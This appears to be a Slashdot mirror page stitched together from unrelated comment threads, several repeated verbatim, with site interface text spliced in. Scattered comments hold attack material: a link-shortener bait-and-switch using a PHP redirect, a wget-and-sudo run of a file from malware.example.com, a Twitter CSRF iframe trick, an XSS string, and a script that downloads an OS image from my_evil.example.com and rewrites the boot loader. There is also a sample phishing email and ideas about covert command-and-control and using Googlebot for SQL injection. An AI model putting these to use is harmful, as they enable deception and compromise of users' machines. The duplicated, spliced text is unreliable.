Slashdot Mirror

Once submitted, you can't change it, unfortunately

Absolutely not true. If you have control over the file it points to (for example, it points to http://example.com/news/20101001_lindsey_lohan_hooks_up_with_brad_pitt.php), you can replace the contents of that file with <?php header(location:http://goatse.fr);

You can even make it so that it does it at random times, or only when the user agent isn't googlebot.

So, the steps are:

1. create your file on server under your control that points to, say, a Failbook group
2. create shortened url
3. get people to use it
4. a month later change contents of your file to redirect to whatever you want.
5. blame google.

You sound like a person blaming women being raped because she dresses sexy.

In the case of a trojan:

% wget http://malware.example.com/justinbiebernaked.gz
% gunzip justinbiebernaked
% chmod u+x justinbiebernaked
% sudo ./justinbiebernaked

Oh noes, I purposely ran an untrusted executable! It's odd that you liken this to rape of women. The equivalent:

1. Woman goes to sex shop
2. She purchases a dildo
3. Gets home, undresses
4. Uses dildo on herself

Sorry, that is not rape.

This post explains it quite well: http://www.andrewnacin.com/2010/09/26/csrf-twitter/

Essentially, just create one or more iframes, with the iframe source set to http://twitter.com/share/update?status=WTF+PAYLOAD

As long as you're logged into Twitter via the web, it will auto-post that update without any request for permission from you.

From I could tell, the string looks something like this: http://example.com/#@"onmouseover=">"

my guess is this is come bug related to how they handle hashtags/user profile links

I think they're regularly running a script that takes out the # from the link from old tweets

There used to be a time that you could easily host your own OpenID with e.g. http://siege.org/phpmyid.php
You point to http://yoursite.example.com/ instead of the one from Google or any other OID provider.
That way you limit the chance of giving somebody else access as you manage your own login and password.

Some others might be found here : http://openid.net/developers/libraries

So in order to buy an Android phone without a contract, you have to plan to develop software for sale on Android Market.

...or buy it from T-Mobile. You can buy unsubsidized, contract-free, phones from T-Mobile (the great thing is if you do buy the phone unsubsidized, the plans are cheaper now too.)

Stories Slash Boxes Comments Slashdot Search News for nerds, stuff that matters * squiggleslash * Help & Preferences * Subscription * Firehose * Journal * Tags * Bookmarks * Logout * Customize Sections * Main * Apple * AskSlashdot * Book Reviews * Developers * Games * Hardware * IT * Index * Interviews * Linux * Mobile * Politics * Science * Technology * YRO Site Info * FAQ * Bugs * Code Stories * Old Stories * Old Polls * Hall of Fame * Submit Story Slow Down Cowboy! Slashdot requires you to wait between each successful posting of a comment to allow everyone a fair chance at posting a comment. It's been 4 minutes since you last successfully posted a comment Chances are, you're behind a firewall or proxy, or clicked the Back button to accidentally reuse a form. Please try again. If the problem persists, and all other options have been tried, contact the site administrator. Reply to: Nexus One is sold out * Nexus One is sold out (Score:4) by tepples (727027) writes: FriendFriend of a Friend on 2010-08-09 11:26 (#33189422) Homepage Nexus One In this page, Google wrote: The Nexus One is no longer available for purchase directly from Google. For more information on how to purchase the Nexus One, check out our help center. In this page, Google wrote: The Nexus One is no longer available for direct purchase from Google, but is available through Brightstar for sale to registered developers. Please note that Brightstar's Nexus One purchase page is only accessible to registered developers. So in order to buy an Android phone without a contract, you have to plan to develop software for sale on Android Market. Not everybody who wants a counterpart to iPod Touch that runs Android is interested in developing software for sale on Android Market. Reply to This Post Comment Preview Comment * Re:Nexus One is sold out (Score:?) by squiggleslash (241428) writes: on 2010-08-10 22:53 Homepage Journal So in order to buy an Android phone without a contract, you have to plan to develop software for sale on Android Market. ...or buy it from T-Mobile. You can buy unsubsidized, contract-free, phones from T-Mobile (the great thing is if you do buy the phone unsubsidized, the plans are cheaper now too.) -- My moved journal [livejournal.com] Edit Comment Name squiggleslash [ Log Out ] URL http://squiggleslash.livejournal.com/ Subject Comment

So in order to buy an Android phone without a contract, you have to plan to develop software for sale on Android Market.

...or buy it from T-Mobile. You can buy unsubsidized, contract-free, phones from T-Mobile (the great thing is if you do buy the phone unsubsidized, the plans are cheaper now too.)

Use the Preview Button! Check those URLs! No Karma Bonus No Subscriber Bonus Post Anonymously Allowed HTML

1. • URLs http://example.com/ will auto-link a URL Important Stuff * Please try to keep posts on topic. * Try to reply to other people's comments instead of starting new threads. * Read other people's messages before posting your own to avoid simply duplicating what has already been said. * Use a clear subject that describes what your message is about. * Offtopic, Inflammatory, Inappropr

Well, it wasn't worthy of publication. It's pretty simple to do. I had made some code available in the past, which used a variation of it to avoid abuses of message boards.

I'm not really looking for fame or fortune, so "father of...[anything but my kids]" doesn't interest me much.

But like I said, it's not rocket science. Did someone with the same identifier [username, cookie id, IP, etc, etc] vote the same way over a threshold for the same item? If so, disregard all their votes during tabulation. It does require all the voting information to be used during tabulation, not just a historical tabulation against the current numbers.

For example, I've seen voting that just does the following (in pseudocode)

$total_votes
$total_score

$total_score = $vote + $total score;
$total_votes++;

$current_score = $total_score / $total_votes;

That is fine and dandy until some schmuck has a script hit your voting script 100,000 times with the same vote. Now you can either purge the voting information, or let it ride.

The alternative is to record every vote with whatever identifying information you can. There are circumstances where you may not even record a vote, but that would only be obvious ones like if wget or curl were in the USER_AGENT string.

Now you can see if the same identifying information did the same action too many times. If you allow exactly one vote per user, disregard all the votes from any user who exceeds that threshold. To be polite, you may want to allow say 5 votes. Someone may click twice, but if they come back and do it 5 times, it's probably abuse.

Likewise, if you are confident that particular identifiers are bogus, you can prune those completely. For example, if you see inbound clicks from http://ballotstuffers.example.com/ automatically add those user identifiers to the list to disregard.

Hmmm.. There were a couple other methods. I can't remember those offhand, and I haven't had access to the code for a few years.

It could be said that this is sampling, but really it's just avoiding abuse. We aren't taking a percentage of the samples, we're taking all the votes from people who aren't likely to be fraudulent. If you take 1 in 10 samples for voting, and you have 11,000 votes (10,000 from ballot stuffers, 1,000 from legitimate voters), your ballot stuffers will still have the majority of the votes. If you automatically exclude 100 voters, who account for 10,000 of the 11,000 votes, you will likely have a fairly accurate vote. if you go with the IP as the user identification, you'll likely trim out AOL (who needs 'em) or any other group of people behind a common proxy or NAT. You'll still have the majority of voters being counted.

In real-world political elections, this would be obvious if say 10,000 residents in a district returned 110,000 ballots. Sadly though, that happens, and none of the votes are excluded from the tabulation. Here are some examples. You can go find more on your own.

The real solution to this, if you needed accurate votes, would be to require authentication for each voter, and only provide them with credentials once they proved that they are truly individuals. You may still have some fraud, but it would then be based on the fact that people will give away their votes. This is true of proxy votes. A bunch of people and I

Then you'd still need a way for those different servers to know about each other. Which still means some kind of central repository.

Although now that I think about it, if each of these servers provided a standard XML file at the same URL (eg, http://example.com/users.xml), then search engines could crawl that file and have their list of who's on what. That might work.

Are you under the impression that social programs can't be socialist?

Socialism is the principle that people can work together for the common good rather than competing with one another. People organizing, through the government, to ensure they all have access to quality healthcare is certainly an example of that. Universal Healthcare has, historically, was a concept created and promoted by the socialism movement.

Universal Healthcare is not about the profit motive. It's not about people competing with one another for resources, and shareholders making a buck. It's about people working together for something that's good. It's the very definition of socialist. And that's not a bad thing.

Slow Down Cowboy! Slashdot requires you to wait between each successful posting of a comment to allow everyone a fair chance at posting a comment. It's been 4 minutes since you last successfully posted a comment Chances are, you're behind a firewall or proxy, or clicked the Back button to accidentally reuse a form. Please try again. If the problem persists, and all other options have been tried, contact the site administrator. Reply to: Re:Will be a hard pill to swallow... * Re:Will be a hard pill to swallow... (Score:2) by pnewhook (788591) writes: Alter Relationship on 2010-07-15 23:29 (#32922822) Universal heath care is a good thing but it is not socialist. Its a social program - completely different. Reply to This Post Comment Preview Comment * Re:Will be a hard pill to swallow... (Score:?) by squiggleslash (241428) writes: on 2010-07-16 8:21 Homepage Journal Are you under the impression that social programs can't be socialist? Socialism is the principle that people can work together for the common good rather than competing with one another. People organizing, through the government, to ensure they all have access to quality healthcare is certainly an example of that. Universal Healthcare has, historically, was a concept created and promoted by the socialism movement. Universal Healthcare is not about the profit motive. It's not about people competing with one another for resources, and shareholders making a buck. It's about people working together for something that's good. It's the very definition of socialist. -- My moved journal [livejournal.com] Edit Comment Name squiggleslash [ Log Out ] URL http://squiggleslash.livejournal.com/ Subject Comment

Are you under the impression that social programs can't be socialist?

Socialism is the principle that people can work together for the common good rather than competing with one another. People organizing, through the government, to ensure they all have access to quality healthcare is certainly an example of that. Universal Healthcare has, historically, was a concept created and promoted by the socialism movement.

Universal Healthcare is not about the profit motive. It's not about people competing with one another for resources, and shareholders making a buck. It's about people working together for something that's good. It's the very definition of socialist. Use the Preview Button! Check those URLs! No Karma Bonus No Subscriber Bonus Post Anonymously Allowed HTML

1. • URLs http://example.com/ will auto-link a URL Important Stuff * Please try to keep posts on topic. * Try to reply to other people's comments instead of starting new threads. * Read other people's messages before posting your own to avoid simply duplicating what has already been said. * Use a clear subject that describes what your message is about. * Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated. (You can read everything, even moderated posts, by adjusting your threshold on the User Preferences Page) If you are having a problem with accounts or comment posting, please yell for help.

Maybe you're not talking to the entity you thought you were talking to without verification, but at least only the party on the other end can read your message.

Any party along the way can read your message if there's no identification. If I'm trying to talk to https://example.com/ without identification while any node between me and example.com is compromised, that node can establish an encrypted connection with example.com and an encrypted connection with me. I send the attacker encrypted data, the attacker decrypts it, logs it, re-encrypts it for example.com, and forwards it along. This does require an active role, but there's no reason to assume someone who wants to steal your data is going to assume a passive role. As I stated in my last post, you can take an active role simply by being on the same network (wireless or otherwise) as your victim.

it's foolish to say there are no advantages over totally unencrypted traffic in these days when our ISPs sell our personal data and governments are increasingly monitoring Internet traffic.

But encryption without identification offers little practical advantage in this case. Your ISP could man-in-the-middle your HTTPS connection, collect data, and continue selling your personal data.

Why can't the browser just encrypt things and make no claims about identity verification?

They tried this for years, and users kept giving up sensitive data to phishers. Most users don't check for the lock or identity information like they should. The current approach that browsers are taking puts more control in the hands of the destination website. If the web server is requiring an HTTPS connection, the browser assumes the connection needs to be secure. If the HTTPS connection doesn't provide identity information, it is susceptible to man-in-the-middle attacks and cannot be considered secure. Since the web server is effectively saying it requires a secure connection, and the browser cannot consider the connection to be secure, it tells the user that something is wrong and they should take extreme caution if the choose to proceed.

Virtual hosts mean if you just do an IP scan you will likely run into an SSL site that doesn't match the first URL associated with an IP.

Wish I had mod points. I was about to post the exact same thing.

Even ignoring servers hosting multiple distinct sites (e.g. at a typical webhosting company) on one IP with some sort of management interface behind SSL on port 443, sites are often configured with their "secure" portion behind a different vhost, but the same IP (e.g. http://example.com/ may point to the same IP address as https://secure.example.com/, but you're still going to get an SSL-secured response from https://example.com/, just not the one you might expect).

One can make reasonable arguments that these might not be ideal configurations, but they don't present the serious practical problems implied by the article.

Virtual hosts mean if you just do an IP scan you will likely run into an SSL site that doesn't match the first URL associated with an IP.

Wish I had mod points. I was about to post the exact same thing.

Even ignoring servers hosting multiple distinct sites (e.g. at a typical webhosting company) on one IP with some sort of management interface behind SSL on port 443, sites are often configured with their "secure" portion behind a different vhost, but the same IP (e.g. http://example.com/ may point to the same IP address as https://secure.example.com/, but you're still going to get an SSL-secured response from https://example.com/, just not the one you might expect).

One can make reasonable arguments that these might not be ideal configurations, but they don't present the serious practical problems implied by the article.

Virtual hosts mean if you just do an IP scan you will likely run into an SSL site that doesn't match the first URL associated with an IP.

Wish I had mod points. I was about to post the exact same thing.

Even ignoring servers hosting multiple distinct sites (e.g. at a typical webhosting company) on one IP with some sort of management interface behind SSL on port 443, sites are often configured with their "secure" portion behind a different vhost, but the same IP (e.g. http://example.com/ may point to the same IP address as https://secure.example.com/, but you're still going to get an SSL-secured response from https://example.com/, just not the one you might expect).

One can make reasonable arguments that these might not be ideal configurations, but they don't present the serious practical problems implied by the article.

In the Netherlands you can view http://example.com/command=view&id=12345 but you are not allowed to change that to http://example.com/command=edit&userid=5&id=12345 because you are pretending to be someone you are not (like a failed login attempt). It is about intention in the Netherlands: you do not have to succeed to break the law.

First, Google's an American company, and even though our IP laws are screwy, it's generally recognized that it's the server's responsibility to block unwanted requests, and not the client's responsibility not to make them (especially in this case where it's obvious that there's no intent of wrongdoing). Second, I guaran-freakin'-tee that no one at Google said, "know what, it's Tuesday and I'm bored; let's fuzz CBravo's CMS to see what happens". Despite your protests, either now or at some point in the past, Google spidered the "edit" URL and is now trying to fetch it. Somehow they found a bunch of links to my site like ".../filtering-spam-postfix?SESS37ae[...]" and try to fetch those. Technically, I'm not publishing those URLs. Who cares? It doesn't hurt anything and I'm not going to whine that Google keeps trying to fetch them.

Seriously, of all the things in the world to get upset about, a search engine's automatic spidering of a URL that got published sometime (even if you don't think it did) is below the noise floor.

In the Netherlands you can view http://example.com/command=view&id=12345 but you are not allowed to change that to http://example.com/command=edit&userid=5&id=12345 because you are pretending to be someone you are not (like a failed login attempt). It is about intention in the Netherlands: you do not have to succeed to break the law.

First, Google's an American company, and even though our IP laws are screwy, it's generally recognized that it's the server's responsibility to block unwanted requests, and not the client's responsibility not to make them (especially in this case where it's obvious that there's no intent of wrongdoing). Second, I guaran-freakin'-tee that no one at Google said, "know what, it's Tuesday and I'm bored; let's fuzz CBravo's CMS to see what happens". Despite your protests, either now or at some point in the past, Google spidered the "edit" URL and is now trying to fetch it. Somehow they found a bunch of links to my site like ".../filtering-spam-postfix?SESS37ae[...]" and try to fetch those. Technically, I'm not publishing those URLs. Who cares? It doesn't hurt anything and I'm not going to whine that Google keeps trying to fetch them.

Seriously, of all the things in the world to get upset about, a search engine's automatic spidering of a URL that got published sometime (even if you don't think it did) is below the noise floor.

I saw a lot of my friends get hit by something just like it, including a rick-roll. Every one of them said they didn't click "like" on the rick-roll site, but it showed up as a like on facebook anyway. Who wouldn't be curious enough to want to click on a "FriendX likes you." link? Thankfully I have a habit of checking the URLs on unusual facebook links. The strange part was there were many different URLs for the "you", so it looked like a "distributed" attack (FB couldn't just search for one URL).

In the Netherlands you can view http://example.com/command=view&id=12345 but you are not allowed to change that to http://example.com/command=edit&userid=5&id=12345

And what makes you so sure Google did not just followed a link? put differently, how do you know it's the fault of google and not the CMS/webmaster? are you sure it wasn't a rogue spider simply giving a Googlebot UA string, that is, did you check the ip addresses. etc... ?

Also, going to that page and being greeted with a "you need to be logged in to do that" message is not the same as trying to log in. not by any stretch of the imagination.

If your CMS doesn't check credentials AND you're not excluding bots from these URLs via robots.txt, you have a huge problem - but Google is not it ;)

Did I mention the link was not found in Google itself?

Not every link that is spidered shows up instanlty (or ever) in search results, so that doesn't really mean anything.

In the Netherlands you can view http://example.com/command=view&id=12345 but you are not allowed to change that to http://example.com/command=edit&userid=5&id=12345

And what makes you so sure Google did not just followed a link? put differently, how do you know it's the fault of google and not the CMS/webmaster? are you sure it wasn't a rogue spider simply giving a Googlebot UA string, that is, did you check the ip addresses. etc... ?

Also, going to that page and being greeted with a "you need to be logged in to do that" message is not the same as trying to log in. not by any stretch of the imagination.

If your CMS doesn't check credentials AND you're not excluding bots from these URLs via robots.txt, you have a huge problem - but Google is not it ;)

Did I mention the link was not found in Google itself?

Not every link that is spidered shows up instanlty (or ever) in search results, so that doesn't really mean anything.

In the Netherlands you can view http://example.com/command=view&id=12345 but you are not allowed to change that to http://example.com/command=edit&userid=5&id=12345 because you are pretending to be someone you are not (like a failed login attempt). It is about intention in the Netherlands: you do not have to succeed to break the law.

It does not matter if you are a bot or not. I would find it very interesting if my sql injection attacks can be executed by Google. I would just make a page with links which Google would follow so I would not have to make the illegal GET's myself to see if there are vulnerabilities.

Did I mention the link was not found in Google itself?

Btw Links are fictional.

In the Netherlands you can view http://example.com/command=view&id=12345 but you are not allowed to change that to http://example.com/command=edit&userid=5&id=12345 because you are pretending to be someone you are not (like a failed login attempt). It is about intention in the Netherlands: you do not have to succeed to break the law.

It does not matter if you are a bot or not. I would find it very interesting if my sql injection attacks can be executed by Google. I would just make a page with links which Google would follow so I would not have to make the illegal GET's myself to see if there are vulnerabilities.

Did I mention the link was not found in Google itself?

Btw Links are fictional.

I don't read articles anymore. I just read descriptive URLs. http://example.com/5541957/display-myths-shattered-how-monitor-companies-cook-their-specs

I think the headline on that article was about American Idol, but I'm not sure, as I didn't read the article.

    I would think such a thing may be possible. It shouldn't require any MS code at all. I'm not quite sure how the juggling act would go between filesystems, unless you made a filesystem file and ran the OS from there, but accessed the old files with something like ntfs-3g. You could probably do it using a static compiled binary under cygwin. Since it's static, it should be portable to target machines. Then you could do something like...

    cd /
    dd if=/dev/zero of=/linux_filesystem bs=1024 count=100000
    mkdir /linux
    mke2fs -j /linux_filesystem
    mount /linux_filesystem /linux
    wget http://my_evil.example.com/full_os.tar.gz
    cd linux
    tar xvpzf ../full_os.tar.gz ./bin/configure_os
    lilo
    reboot

    Inside full_os.tar.gz, the desktop, "My Documents", etc, could be linked to the old NTFS partition. No actual damage would have been done other than rewriting the MBR with a bit of initrd black magic to mount up the virtual filesystem as root, with every driver that could be run into, or at least a complete suite of network drivers and the OS could fix the rest at boot time.

    full_os.tar.gz would have to be already fully customized to have the appearance of the infected host machine, so you'd likely have copies for WinXP, Win2k, WinVista, and Win7.

    configure_os would need to read the existing network environment to either set the IP's static, or allow DHCP to handle it, depending on the users existing configuration.

    Of course, by pulling down the file with wget, that opens up a whole can of worms. Now, if it had an include Bittorrent client, you could just use an existing torrent file (bundled within) and pull the OS file from peers, which would be much faster if it actually spread into the wild. I can't imagine any server (or server farm) would appreciate 1,000,000 simultaneous users downloading a full Linux install, even if gzipped. But, if every machine kept seeding, it would make the whole operation very smooth. :)

    It would be funny if people discovered Linux really is a worthwhile OS for their needs, and they've just been afraid to use it. That's 99% of the folks out there. (The remaining 1% run Windows-only apps, who would be frustrated).

    I haven't thought too much about this, and it is 2:30am, so there are plenty of implausible holes in that idea. And like I said before, there's no way I'd actually do it, since I don't really like jail time.

They're not a monopoly?

As cool as an 'app' is for this, what the hell happened to a bookmark? http://example.com/latest_cartoon.jpg. There now if people want to see the latest, they can click the book mark and tada. Your cartoon.

I'd like to introduce you to a new website that has absolutely no questionable content: example.com. I offer it as a serious alternative to Wikipedia and even Citizendium, which mention some topics which some find uncomfortable, or even might find uncomfortable at some point in their lives.

I have an idea. Let's create a lightweight desktop app that can browse the web and stream audio/video, upload/download files, and submit text for online shopping, and posting to Slashdot. Let's call it web... err... uhmm... web browser. Yeah, that's it. Let's call it a web browser.

If we need to do anything more, develope a "helper application". Even better; an internet-enabled app that avoids screwing around with my browser altogether. I don't know about everybody else here, but I was around in the days of Mozilla 0.9x. It was a big, bloated, slow, joke of an app, even with compiler optimizations. There was lots of joking regarding "about:kitchen sink". People started yelling and screaming for a lightweight web browser, *WITHOUT* email, usenet, webpage developement tools, etc, etc. Thus was Phoenix born, later renamed to Firebird and then Firefox, due to legal issues.

Maybe it's time for a lightweight *WEB BROWSER* version of Firefox. *WHY* the F*** do web browser writers *INSIST* on trying to develope pseudo-operating-systems on top of their web browsers? Are they refugees from the emacs world? Don't they remember what happened when AOL tried to "re-invent the browser" and destroyed Netscape in the process?

If you *REALLY* need to edit a spreadsheet on a remote server, you should be using a VPN. Failing that, howsabout internet-enabled apps like so...
excel https://www.bad.example.com/fubar.xls
or
gnumeric https://www.bad.example.com/fubar.xls
Ditto with word-processors etc. And puh-lease keep your hands off my web browser.

I have an idea. Let's create a lightweight desktop app that can browse the web and stream audio/video, upload/download files, and submit text for online shopping, and posting to Slashdot. Let's call it web... err... uhmm... web browser. Yeah, that's it. Let's call it a web browser.

If we need to do anything more, develope a "helper application". Even better; an internet-enabled app that avoids screwing around with my browser altogether. I don't know about everybody else here, but I was around in the days of Mozilla 0.9x. It was a big, bloated, slow, joke of an app, even with compiler optimizations. There was lots of joking regarding "about:kitchen sink". People started yelling and screaming for a lightweight web browser, *WITHOUT* email, usenet, webpage developement tools, etc, etc. Thus was Phoenix born, later renamed to Firebird and then Firefox, due to legal issues.

Maybe it's time for a lightweight *WEB BROWSER* version of Firefox. *WHY* the F*** do web browser writers *INSIST* on trying to develope pseudo-operating-systems on top of their web browsers? Are they refugees from the emacs world? Don't they remember what happened when AOL tried to "re-invent the browser" and destroyed Netscape in the process?

If you *REALLY* need to edit a spreadsheet on a remote server, you should be using a VPN. Failing that, howsabout internet-enabled apps like so...
excel https://www.bad.example.com/fubar.xls
or
gnumeric https://www.bad.example.com/fubar.xls
Ditto with word-processors etc. And puh-lease keep your hands off my web browser.

Nah, there aren't even hundreds of domains listed in the average story, so you just have to set your command and control servers to respond with a magic token when a certain address is queried (say, http://example.com/index.html, in order to not show up as 'odd' in server logs), and then check every domain.

Checking only domains posted by AC cuts down on the number you would have to check. So does only checking the domains posted by a certain user (it would be incredibly obscure, you could create an offtopic AC comment and then only reply to that, only post to journal entries of other fake accounts, etc).

Or you could sign the domains.

And cryptography basically makes the level of motivation of slashdotters irrelevant.

A pretext to the OpenID that verifies that a given authentication request originated from the owner of an identifier, without saying anything about the trustworthiness of the identifier?

(No, seriously, the owner of example.com can set up http://example.com/yes as an OpenID that is always authorized, OpenID itself is not a threat to anonymity or privacy)

DNSSEC does protect from certain types of attacks, but it does not completely prevent man-in-the-middle attacks. SSL itself is already protected from man-in-the-middle attacks (more or less, there are bugs found in the implementations occasionally). There are attacks like intercept user's original request for http://example.com/ (not https) and instead of responding with the correct answer of a redirect to https://example.com/, responding with a redirect to https://example.com.phishingsite.exammple.com/, which is they type of attack that EV certs theoretically help against as well as the highlighting of the domain name that newer browser do.

If an attacker is in a position to lie about a DNS response, they might also be in a position to simply lie about the web server response. That is, the IP address will be correct, but that will just be because the attacker is forging packets from that IP. As I understand it, DNS attacks tend to be easier and DNSSEC does prevent them (or at least reduce them).

On the other hand, it has been mentioned on /. a few times before that with DNSSEC, the DNS replies would be trusted, so they could theoretically be used to contain SSL keys.

DNSSEC does protect from certain types of attacks, but it does not completely prevent man-in-the-middle attacks. SSL itself is already protected from man-in-the-middle attacks (more or less, there are bugs found in the implementations occasionally). There are attacks like intercept user's original request for http://example.com/ (not https) and instead of responding with the correct answer of a redirect to https://example.com/, responding with a redirect to https://example.com.phishingsite.exammple.com/, which is they type of attack that EV certs theoretically help against as well as the highlighting of the domain name that newer browser do.

If an attacker is in a position to lie about a DNS response, they might also be in a position to simply lie about the web server response. That is, the IP address will be correct, but that will just be because the attacker is forging packets from that IP. As I understand it, DNS attacks tend to be easier and DNSSEC does prevent them (or at least reduce them).

On the other hand, it has been mentioned on /. a few times before that with DNSSEC, the DNS replies would be trusted, so they could theoretically be used to contain SSL keys.

Well, yes, and if you want to do byte-range seeking over structured data in Javascript, be my guest. Some of us use DBMSes for a reason.

But, since (as I stated in the next paragraph), HTTP doesn't impose any limit on what a resource is, there is no reason a single database record can't be a full resource so that you would never need to use or cache range queries to do record-level cacheing.

In fact, quite a lot of web applications use a model where a collection located at http://www.example.com/foos has individual resources accessible through http://www.example.com/foos/bar, http://www.example.com/foos/baz, etc. This pretty much directly corresponds to having a DBMS with table "foos" and records with primary keys "bar" and "baz" (and, in fact, that's often exactly what the storage is on the server.) Insofar as the existing web infrastructure is cacheing these responses, record-level cache isn't something HTTP merely supports in theory, its something that it is regularly relied on to provide.

Sigh. Let me know when you have that on/offline groupware system built on top of your browser cache done, 'kay?.

I never claimed that was doable. The reason, though, has nothing to do with HTTP not supporting record-level cacheing -- which it does quite well -- but with the fact caching alone, record-level or otherwise, doesn't do anything to support offline client-initiated updates that are immediately visible to the client but where the corresponding requests to the server are deferred until a connection is available.

Which, AFAICT, is the one and only problem solved by local storage for web apps, whether its provided by Google Gears, Flash, or HTML5.

Well, yes, and if you want to do byte-range seeking over structured data in Javascript, be my guest. Some of us use DBMSes for a reason.

But, since (as I stated in the next paragraph), HTTP doesn't impose any limit on what a resource is, there is no reason a single database record can't be a full resource so that you would never need to use or cache range queries to do record-level cacheing.

In fact, quite a lot of web applications use a model where a collection located at http://www.example.com/foos has individual resources accessible through http://www.example.com/foos/bar, http://www.example.com/foos/baz, etc. This pretty much directly corresponds to having a DBMS with table "foos" and records with primary keys "bar" and "baz" (and, in fact, that's often exactly what the storage is on the server.) Insofar as the existing web infrastructure is cacheing these responses, record-level cache isn't something HTTP merely supports in theory, its something that it is regularly relied on to provide.

Sigh. Let me know when you have that on/offline groupware system built on top of your browser cache done, 'kay?.

I never claimed that was doable. The reason, though, has nothing to do with HTTP not supporting record-level cacheing -- which it does quite well -- but with the fact caching alone, record-level or otherwise, doesn't do anything to support offline client-initiated updates that are immediately visible to the client but where the corresponding requests to the server are deferred until a connection is available.

Which, AFAICT, is the one and only problem solved by local storage for web apps, whether its provided by Google Gears, Flash, or HTML5.

Well, yes, and if you want to do byte-range seeking over structured data in Javascript, be my guest. Some of us use DBMSes for a reason.

But, since (as I stated in the next paragraph), HTTP doesn't impose any limit on what a resource is, there is no reason a single database record can't be a full resource so that you would never need to use or cache range queries to do record-level cacheing.

In fact, quite a lot of web applications use a model where a collection located at http://www.example.com/foos has individual resources accessible through http://www.example.com/foos/bar, http://www.example.com/foos/baz, etc. This pretty much directly corresponds to having a DBMS with table "foos" and records with primary keys "bar" and "baz" (and, in fact, that's often exactly what the storage is on the server.) Insofar as the existing web infrastructure is cacheing these responses, record-level cache isn't something HTTP merely supports in theory, its something that it is regularly relied on to provide.

Sigh. Let me know when you have that on/offline groupware system built on top of your browser cache done, 'kay?.

I never claimed that was doable. The reason, though, has nothing to do with HTTP not supporting record-level cacheing -- which it does quite well -- but with the fact caching alone, record-level or otherwise, doesn't do anything to support offline client-initiated updates that are immediately visible to the client but where the corresponding requests to the server are deferred until a connection is available.

Which, AFAICT, is the one and only problem solved by local storage for web apps, whether its provided by Google Gears, Flash, or HTML5.

I don't think this is what the tool is designed for. If you read the paper, you'll see that all they'd get would be a list of groups that either of your identities were members of.

What this is for is to match identities at different sites. To tell what Facebook account Candidate@LinkedIn is using... you get Candidate@LinkedIn to visit a site (hey, send your resume to http://example.com/5jh332 and it'll go right past HR) and hit him with a Facebook tracer while he's filling out the resume. Now you know that he's PartyGuy@Facebook and you send him a nice rejection letter.

Why single out a relatively new service to hand the root of your domain over to?

Because that is the service that all of your internet-using customers will use to seek information about your company.

Maybe 'example.com' points to my mail server, because I am an email company.

Then that would be a stupid email company and deserves to go out of business.

I'm sorry, but if http://example.com/ does not bring up your company's website, then you are a dismal IT failure, and no amount of rationalisation or waving RFCs about will change that.

I understand and appreciate that there is often perceived to be a "right way" to do things in IT, but you still have to balance that against common sense, practical considerations, and user expectation. The "right way" may be right when seen within a specific and confined logical framework (networking 101), yet be completely moronic when placed within a broader context (business and marketing on the internet).

Off-offtopic, but I'd much rather you typed in example.com.

Good URIs are just a good idea, period. That's not advice from some shady SEO scumbag, either. That's tim berners-lee and the w3c.

Surely:

http://example.com/articles/man-bites-dog

is vastly superior from the user's point of view to:

http://example.com/cgi-bin/article.php3?PHPSESSID=0983sdf0er888fsd&article_id=73522

Which one are you going to remember? Which one would you rather read over the phone?

Good URIs are just a good idea, period. That's not advice from some shady SEO scumbag, either. That's tim berners-lee and the w3c.

Surely:

http://example.com/articles/man-bites-dog

is vastly superior from the user's point of view to:

http://example.com/cgi-bin/article.php3?PHPSESSID=0983sdf0er888fsd&article_id=73522

Which one are you going to remember? Which one would you rather read over the phone?

But ads are useful.

There are lots of possible solutions. One that comes it mine is to let the site with the ads server the ads along with the regular content.

Also its an unfair race. You enter http://example.com/ in the browser and example.com starts loading then it asks for its ads. So, of course, the ads arrive after the example.com content.

Great idea.

Now please take this url:

http://example.com/insert_hexadecimal_dump_blueray_disc_image_here

and run it through your shortening function.

Who needs bittorrent!

well let the spam begin!

Dear Robbie.h.wilson,
Hello, I represet a cosortum which has found nine of the baloons in question. If your baloon is the tenth baloon, you to win $5714.28 ! Please to visit this website and enter your accounts infomations for your electronic payment. http://balooncontest.darpa.gov.example.com/ We look forward to hearing from you. We all want to win our $5714.28

I have to say that now I regret that the syntax is so clumsy. I would like http://www.example.com/foo/bar/baz to be just written http:com/example/foo/bar/baz where the client would figure out that www.example.com existed and was the server to contact.

Heavens, NO! Explicitly and visibly separating the hostname from the rest of the URL is essential! Just think of all how much phishing would explode if you can't tell whether you're accessing example.com/foo/bar/baz or foo.example.com/bar/baz or bar.foo.example.com/baz! At the very least, the dot would have to be retained, as in http:com.example/foo/bar/bax.

'h' alone isn't really very descriptive, though. The thinking was that the protocol identifier should match the protocol's actual name or acronym so that people knew what kind of service they were connecting to. In the early days of the web, it was envisioned that the web would "live" on all kinds of protocols and services and that web browsers would be a common interface to that content. There were URLs like ftp://example.com and gopher://example.com. I can recall some "web" sites being served via FTP because that's all that some ISPs offered at the time.

Had Berners-Lee known that HTTP would eventually become the only protocol that anyone really used for hosting web content, he might have opted to omit it from the URI specification altogether and just let browser developers worry about how to support other services if they so wished.

'h' alone isn't really very descriptive, though. The thinking was that the protocol identifier should match the protocol's actual name or acronym so that people knew what kind of service they were connecting to. In the early days of the web, it was envisioned that the web would "live" on all kinds of protocols and services and that web browsers would be a common interface to that content. There were URLs like ftp://example.com and gopher://example.com. I can recall some "web" sites being served via FTP because that's all that some ISPs offered at the time.

Had Berners-Lee known that HTTP would eventually become the only protocol that anyone really used for hosting web content, he might have opted to omit it from the URI specification altogether and just let browser developers worry about how to support other services if they so wished.

We could very easily overcome the tragedy of the slashes if only we would agree to lose the totally usless www. that most websites still advertise. What's wrong with encouraging users to enter a simple http://example.com/ rather than insisting on http://www.example.com/ ?

We could very easily overcome the tragedy of the slashes if only we would agree to lose the totally usless www. that most websites still advertise. What's wrong with encouraging users to enter a simple http://example.com/ rather than insisting on http://www.example.com/ ?

Well, the obvious solution is to require any relative path with a directory in it to start with a ./, if it didn't already start with ../

It's worth pointing out that, right now, colons, are legal characters in URL. But relatively attempting to access a page named blah:blah.txt will not, in fact, actually work right.

And heaven forbid if the page is named mailto:blah@blah.txt, which, is perfectly correct if you access it like http://example.com/mailto:blah@blah.txt. Yes, both @ and : are allowed in the path part of a http URL. (Heh, in preview those links actually work, proving my point.) This file is obviously quite impossible to refer to relatively unless you make the link something like ./mailto:blah@blah.txt

